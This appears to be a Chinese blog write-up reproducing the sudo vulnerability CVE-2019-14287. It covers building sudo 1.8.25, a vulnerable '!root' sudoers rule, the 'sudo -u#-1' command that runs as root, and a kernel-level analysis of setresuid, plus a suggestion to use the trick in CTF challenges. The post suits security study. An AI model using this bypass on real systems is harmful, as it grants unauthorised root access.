之前复现了一个简单的sudo的CVE,发现挺有意思的,今天再来一个更简单的CVE,即CVE_2019_14287,上手难度低
Download&Compile sudo_1.8.25
1 | wget https://www.sudo.ws/dist/sudo-1.8.25.tar.gz |
2 | tar -zxvf ./sudo-1.8.25.tar.gz |
3 | cd ./sudo-1.8.25 |
4 | ./configure |
5 | make |
6 | make install |
测试了一下,sudo版本太低也会有点小问题,不清楚怎么解决,所以复现建议用1.8.25
Introduction
影响的sudo版本为低于1.8.28的所有sudo程序,可以利用此漏洞以root用户权限访问或者执行命令
当/etc/sudoers中出现如下配置,则会有可能被利用
1 | someuser ALL=(ALL, !root) /usr/bin/somecommand |
2 | someuser ALL=(ALL, !#0) /usr/bin/somecommand |
3 | Runas_Alias MYGROUP = root, adminuser someuser ALL=(ALL, !MYGROUP) /usr/bin/somecommand |
为了复现CVE,此时往/etc/sudoers中添加
1 | test ALL=(ALL, !root) /usr/bin/id |
表示允许 test 帐号以非 root 外的身份执行 /usr/bin/id
若想用sudo 以root权限执行命令,则出现
1 | test@localhost:~$ sudo id |
2 | 对不起,用户 test 无权以 root 的身份在 localhost.localdomain 上执行 /bin/id。 |
然后sudo 有个参数 “-u” 可以指定特定的UID执行命令
此时漏洞点就在于 当-u指定的UID为-1 或者 4294967295的时候,则会以root权限执行命令
1 | test@localhost:~$ sudo -u#-1 id |
2 | uid=0(root) git=1001(test) 组=1001(test) |
Analysis
利用
1 | test@localhost:~$ strace -u test sudo -u#-1 id |
利用” strace “进行跟踪
1 | setresuid(-1, -1, -1) = 0 |
发现如上一行函数执行,传入的参数都是-1,进一步查看setresuid函数,即可定位在系统调用__setresuid上
1 | // ~/sysdeps/unix/sysv/linux/i386/setreuid.c |
2 | int __setresuid (uid_t ruid, uid_t euid, uid_t suid) |
3 | { |
4 | int result; |
5 | |
6 | result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid); |
7 | |
8 | return result; |
9 | } |
__setresuid则会在内核中调用了sys_setresuid函数
1 | // ~/kernel/sys.c |
2 | |
3 | SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid) |
4 | { |
5 | ... |
6 | |
7 | struct cred *new; |
8 | ... |
9 | |
10 | kruid = make_kuid(ns, ruid); |
11 | keuid = make_kuid(ns, euid); |
12 | ksuid = make_kuid(ns, suid); |
13 | |
14 | new = prepare_creds(); |
15 | old = current_cred(); |
16 | ... |
17 | |
18 | if (ruid != (uid_t) -1) { |
19 | new->uid = kruid; |
20 | if (!uid_eq(kruid, old->uid)) |
21 | { |
22 | retval = set_user(new); |
23 | if (retval < 0) |
24 | goto error; |
25 | } |
26 | } |
27 | if (euid != (uid_t) -1) |
28 | new->euid = keuid; |
29 | if (suid != (uid_t) -1) |
30 | new->suid = ksuid; |
31 | new->fsuid = new->euid; |
32 | |
33 | ... |
34 | |
35 | return commit_creds(new); |
36 | |
37 | error: |
38 | abort_creds(new); |
39 | return retval; |
40 | } |
调用prepare_creds()创建了一个新的凭证结构体,然后判断SYSCALL_DEFINE3函数传入的参数中ruid、euid、suid是否为-1
只有在都不为-1的时候,新的凭证结构体才会被赋值,否则最后返回时commit_creds(new),得到的UID=0(root)
Other
普通用户在Ubuntu下,不用” su root “切换到root用户,通常/root目录是不能访问的
假如pwn题中,在/root下放置一个FLAG,出题人在/etc/sudoers中添加一个普通用户可以执行ls与cat命令
则可以通过此方法提权从而拿到FLAG
在我看来,这种可以和一些题目联合起来,题目做出来拿到shell还需要进一步提权才能拿到FLAG
个人拙见,大佬们别打我